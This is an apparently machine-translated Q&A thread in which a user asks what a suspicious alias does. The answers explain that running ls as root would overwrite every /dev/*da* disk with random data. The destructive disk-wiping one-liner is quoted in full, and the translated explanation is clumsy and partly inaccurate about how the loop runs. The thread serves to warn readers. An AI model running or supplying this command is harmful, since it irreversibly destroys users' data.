有关此命令的一些帮助,不确定它的作用?

有关此命令的一些帮助,不确定它的作用?

但我认为它是有害的

 alias ls="for i in /dev/*da* ; do cat /dev/urandom &> ${i} & done

如果代码似乎丢失/缩进错误,请修复它。

答案1

代码不正确。它在 for 循环末尾缺少右引号,这可能是有害的。让我解释一下如何做。

alias命令是一个 shell 公告。顾名思义,它将一个单词别名为另一个命令。这本身并不是恶意或有害的。在大多数情况下,它非常有用,特别是当您需要定期运行具有多个标志和参数的非常长的命令时。

该命令具有潜在危害性的原因是两种不同因素的结合。

  1. 别名将覆盖现有命令。我在下面提供了一个例子:
-bash-3.2$ type ls
ls is hashed (/bin/ls)
-bash-3.2$ ls
file  file1  file2
-bash-3.2$ alias ls="echo this is a test"
-bash-3.2$ ls
this is a test
-bash-3.2$
  1. 当此alias命令正确执行时,它将用lsfor 循环覆盖该命令,执行时,将用伪随机数据覆盖第一个识别的硬盘驱动器中的第一个,然后继续执行下一个。

为了尝试分解这个 for 循环的工作原理,它首先在 /dev 中查找与通配符扩展匹配的任何设备块*da*。 IDE 驱动器使用该h前缀,SATA 驱动器使用该s前缀。在大多数具有一个硬盘驱动器的现代计算机中,该硬盘驱动器的设备块将是/dev/sda

从那里开始,各个分区都带有数字后缀(例如sda1sda2等)。一旦设备块匹配,$i 的值将包含它的路径。然后它将运行命令cat /dev/urandom &> ${i} &,该命令将cat /dev/urandom在后台运行,并将其吐出的所有数据发送到 ${i} 的值,从而用伪随机数据有效地覆盖设备块。

一旦第一个分区被填满,cat命令将结束,for循环将再次运行,检查下一个匹配的块设备,用伪随机数据覆盖它,然后继续下一个,直到没有更多匹配的块设备。

需要明确的是,这本身并没有什么害处。运行此alias命令后,您必须运行ls(以 root 身份运行——如果您不是 root 用户,这将不起作用,因为您无法像任何其他用户一样将数据写入设备块),以免造成任何损害。

想象这有多危险的一个好方法是跑步bash -x。当 shell 启动时,会运行一堆系统和用户特定的配置文件。对于 bash,常见的是/etc/bash_profile~/.bash_profile。通常,这些文件之一还有一个 if 语句来检查~/.bashrc并获取它(如果存在)。由于这仅在ls以 root 身份执行时才有效,alias因此必须首先以 root 身份运行该命令。对于要将其添加到其中一个文件的人,他们必须首先以某种方式获得 root 访问权限。

最后,我想指出,这是一个不切实际的担忧,对于某人来说,在没有 root 访问权限的计算机上实现这一目标非常困难。还有一些涉及较少、同样恶意的命令,不需要系统的 root 访问权限即可执行。

答案2

该命令略有错误,但其最初意图可能是覆盖 /dev/sda 上的所有分区,该分区 99% 位于您的主驱动器和系统驱动器(以及名称中碰巧有字母“da”的任何块设备)与随机数据。

我不会在这里放置更正的版本,以防万一有人复制、粘贴和运行它......

相关内容